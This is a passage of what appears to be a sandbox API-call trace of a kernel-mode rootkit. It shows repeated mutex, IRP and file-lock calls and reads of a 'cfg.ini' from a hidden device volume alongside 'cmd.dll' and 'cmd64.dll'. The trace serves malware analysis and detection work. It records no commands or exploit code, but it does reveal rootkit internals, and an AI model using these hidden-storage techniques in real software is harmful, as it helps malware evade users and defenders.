Context=0x0) returned 0x0 [0130.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.584] KeLeaveCriticalRegion () [0130.584] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.584] KeEnterCriticalRegion () [0130.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.584] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.584] IdePortDispatch () returned 0x103 [0130.585] KeWaitForMutexObject () returned 0x0 [0130.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.585] KeLeaveCriticalRegion () [0130.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.585] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.585] KeEnterCriticalRegion () [0130.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.585] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfa000 [0130.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.585] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.585] IdePortDispatch () returned 0x103 [0130.585] KeWaitForMutexObject () returned 0x0 [0130.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.586] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.586] IdePortDispatch () returned 0x103 [0130.586] KeWaitForMutexObject () returned 0x0 [0130.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.586] KeLeaveCriticalRegion () [0130.586] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.586] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.586] KeEnterCriticalRegion () [0130.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.587] KeLeaveCriticalRegion () [0130.587] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.587] KeEnterCriticalRegion () [0130.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.587] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.587] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.587] KeLeaveCriticalRegion () [0130.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.587] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.587] KeEnterCriticalRegion () [0130.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.587] ExFreePoolWithTag (P=0xfffffa800294ce10, Tag=0x0) [0130.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.587] KeLeaveCriticalRegion () [0130.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.587] ReleaseMutex (hMutex=0xf0) returned 1 [0130.587] Sleep (dwMilliseconds=0x124f80) [0130.603] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.603] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.603] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.603] KeEnterCriticalRegion () [0130.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.603] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.603] IdePortDispatch () returned 0x103 [0130.603] KeWaitForMutexObject () returned 0x0 [0130.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.604] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.604] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.604] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.604] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.604] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d4b0 [0130.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.604] KeLeaveCriticalRegion () [0130.604] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.604] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.604] KeEnterCriticalRegion () [0130.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.604] KeLeaveCriticalRegion () [0130.604] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.604] KeEnterCriticalRegion () [0130.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.604] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.604] IdePortDispatch () returned 0x103 [0130.604] KeWaitForMutexObject () returned 0x0 [0130.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.604] KeLeaveCriticalRegion () [0130.604] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.604] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.604] KeEnterCriticalRegion () [0130.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dff000 [0130.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.605] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.605] IdePortDispatch () returned 0x103 [0130.605] KeWaitForMutexObject () returned 0x0 [0130.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.605] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.605] IdePortDispatch () returned 0x103 [0130.605] KeWaitForMutexObject () returned 0x0 [0130.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.605] KeLeaveCriticalRegion () [0130.605] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.606] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.606] KeEnterCriticalRegion () [0130.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.606] KeLeaveCriticalRegion () [0130.606] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.606] KeEnterCriticalRegion () [0130.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.606] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.606] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d1c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.606] KeLeaveCriticalRegion () [0130.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.606] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.606] KeEnterCriticalRegion () [0130.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.606] ExFreePoolWithTag (P=0xfffffa800294d4b0, Tag=0x0) [0130.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.606] KeLeaveCriticalRegion () [0130.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.606] ReleaseMutex (hMutex=0xf0) returned 1 [0130.606] Sleep (dwMilliseconds=0x124f80) [0130.624] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.624] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.624] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.624] KeEnterCriticalRegion () [0130.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.624] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.624] IdePortDispatch () returned 0x103 [0130.625] KeWaitForMutexObject () returned 0x0 [0130.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.625] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.625] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.625] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.625] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.625] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845ba0 [0130.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.625] KeLeaveCriticalRegion () [0130.625] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.625] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.625] KeEnterCriticalRegion () [0130.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.625] KeLeaveCriticalRegion () [0130.625] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.625] KeEnterCriticalRegion () [0130.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.625] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.625] IdePortDispatch () returned 0x103 [0130.626] KeWaitForMutexObject () returned 0x0 [0130.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.626] KeLeaveCriticalRegion () [0130.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.626] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.626] KeEnterCriticalRegion () [0130.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003454000 [0130.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.626] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.626] IdePortDispatch () returned 0x103 [0130.627] KeWaitForMutexObject () returned 0x0 [0130.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.627] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.627] IdePortDispatch () returned 0x103 [0130.627] KeWaitForMutexObject () returned 0x0 [0130.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.627] KeLeaveCriticalRegion () [0130.627] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.628] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.628] KeEnterCriticalRegion () [0130.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.628] KeLeaveCriticalRegion () [0130.628] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.628] KeEnterCriticalRegion () [0130.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.628] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.628] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.628] KeLeaveCriticalRegion () [0130.628] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.628] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.628] KeEnterCriticalRegion () [0130.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.628] ExFreePoolWithTag (P=0xfffffa8002845ba0, Tag=0x0) [0130.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.628] KeLeaveCriticalRegion () [0130.628] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.628] ReleaseMutex (hMutex=0xf0) returned 1 [0130.628] Sleep (dwMilliseconds=0x124f80) [0130.649] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.649] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.649] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.649] KeEnterCriticalRegion () [0130.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.649] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.649] IdePortDispatch () returned 0x103 [0130.649] KeWaitForMutexObject () returned 0x0 [0130.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.650] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.650] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.650] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.650] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.650] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ca10 [0130.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.650] KeLeaveCriticalRegion () [0130.650] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.650] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.650] KeEnterCriticalRegion () [0130.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.650] KeLeaveCriticalRegion () [0130.650] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.650] KeEnterCriticalRegion () [0130.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.650] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.650] IdePortDispatch () returned 0x103 [0130.650] KeWaitForMutexObject () returned 0x0 [0130.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.650] KeLeaveCriticalRegion () [0130.651] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.651] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.651] KeEnterCriticalRegion () [0130.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003459000 [0130.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.651] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.651] IdePortDispatch () returned 0x103 [0130.651] KeWaitForMutexObject () returned 0x0 [0130.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | 